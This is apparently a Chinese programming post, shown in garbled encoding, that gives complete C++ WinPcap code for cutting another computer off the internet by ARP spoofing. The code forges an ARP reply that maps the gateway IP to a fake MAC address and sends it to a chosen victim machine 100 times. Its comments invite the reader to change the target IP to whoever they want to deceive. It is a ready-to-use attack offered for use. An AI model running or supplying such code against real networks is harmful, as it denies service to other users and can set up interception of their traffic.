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通過對方的mac地址和ip地址用程序?qū)崿F(xiàn)對其他電腦阻止上網(wǎng),以下是實(shí)現(xiàn)代碼:
// WinpCap Test.cpp : 定義控制臺應(yīng)用程序的入口點(diǎn)。
//
#include "stdafx.h"
#include <pcap.h>
int _tmain(int argc, _TCHAR* argv[])
{
pcap_if_t * allAdapters;//適配器列表
pcap_if_t * adapter;
pcap_t * adapterHandle;//適配器句柄
u_char packet[ 1020 ]; //待發(fā)送的數(shù)據(jù)封包
char errorBuffer[ PCAP_ERRBUF_SIZE ];//錯(cuò)誤信息緩沖區(qū)
if( pcap_findalldevs_ex( PCAP_SRC_IF_STRING, NULL, &allAdapters, errorBuffer ) == -1 )
{//檢索機(jī)器連接的所有網(wǎng)絡(luò)適配器
fprintf( stderr, "Error in pcap_findalldevs_ex function: %s\n", errorBuffer );
return -1;
}
if( allAdapters == NULL )
{//不存在任何適配器
printf( "\nNo adapters found! Make sure WinPcap is installed.\n" );
return 0;
}
int crtAdapter = 0;
for( adapter = allAdapters; adapter != NULL; adapter = adapter->next)
{//遍歷輸入適配器信息(名稱和描述信息)
printf( "\n%d.%s ", ++crtAdapter, adapter->name );
printf( "-- %s\n", adapter->description );
}
printf( "\n" );
//選擇適配器
int adapterNumber;
printf( "Enter the adapter number between 1 and %d:", crtAdapter );
scanf_s( "%d", &adapterNumber );
if( adapterNumber < 1 || adapterNumber > crtAdapter )
{
printf( "\nAdapter number out of range.\n" );
pcap_freealldevs( allAdapters );// 釋放適配器列表
return -1;
}
adapter = allAdapters;
for( crtAdapter = 0; crtAdapter < adapterNumber - 1; crtAdapter++ )
adapter = adapter->next;
// 打開指定適配器
adapterHandle = pcap_open( adapter->name, // name of the adapter
65536, // portion of the packet to capture
// 65536 guarantees that the whole
// packet will be captured
PCAP_OPENFLAG_PROMISCUOUS, // promiscuous mode
1000, // read timeout - 1 millisecond
NULL, // authentication on the remote machine
errorBuffer // error buffer
);
if( adapterHandle == NULL )
{//指定適配器打開失敗
fprintf( stderr, "\nUnable to open the adapter\n", adapter->name );
// 釋放適配器列表
pcap_freealldevs( allAdapters );
return -1;
}
pcap_freealldevs( allAdapters );//釋放適配器列表
//創(chuàng)建數(shù)據(jù)封包
packet[0] = 0xc8; packet[1] = 0x9c; packet[2] = 0xdc; packet[3] = 0x22; packet[4] = 0x6c; packet[5] = 0x58; // 被騙計(jì)算機(jī)的mac地址
packet[6] = 0xc8; packet[7] = 0x9c; packet[8] = 0xdc; packet[9] = 0x22; packet[10] = 0x62; packet[11] = 0x0f; // 自己的mac地址
packet[12] = 0x08; packet[13] = 0x06; // 以太網(wǎng)封裝arp協(xié)議(不用動(dòng))
packet[14] = 0x00; packet[15] = 0x01; // arp第1字段:代表以太網(wǎng)
packet[16] = 0x08; packet[17] = 0x00; // arp第2字段:代表IP協(xié)議
packet[18] = 0x06; // arp第3字段:代表第二層地址的長度
packet[19] = 0x04; // arp第4字段:代表第三層地址的長度
packet[20] = 0x00; packet[21] = 0x02; // arp第5字段:這是一個(gè)arp應(yīng)答報(bào)文; 下面的是arp的第6,7,8,9字段
packet[22] = 0xc8; packet[23] = 0x9c; packet[24] = 0xdc; packet[25] = 0x22; packet[26] = 0x62; packet[27] = 0x06; // 假的網(wǎng)關(guān)地址,
packet[28] = 0xac; packet[29] = 0x1c; packet[30] = 0x0f; packet[31] = 0xfe; // 網(wǎng)關(guān)的ip,這里是172.28.15.254(在本實(shí)驗(yàn)室不用改)
packet[32] = 0xc8; packet[33] = 0x9c; packet[34] = 0xdc; packet[35] = 0x22; packet[36] = 0x6c; packet[37] = 0x58; // 被騙計(jì)算機(jī)的mac地址
packet[38] = 0xac; packet[39] = 0x1c; packet[40] = 0x0f; packet[41] = 0x13; // 被騙計(jì)算機(jī)的IP地址,這里是172.28.15.19 (想騙誰,這里就改成誰的IP)
//發(fā)送數(shù)據(jù)封包
for(int ssde=0;ssde<100;ssde++)
{
pcap_sendpacket( adapterHandle, packet, 42);
Sleep(1000);
}
system( "PAUSE" );
return 0;
}
根據(jù)程序注釋修改mac地址和ip地址即可實(shí)現(xiàn)。
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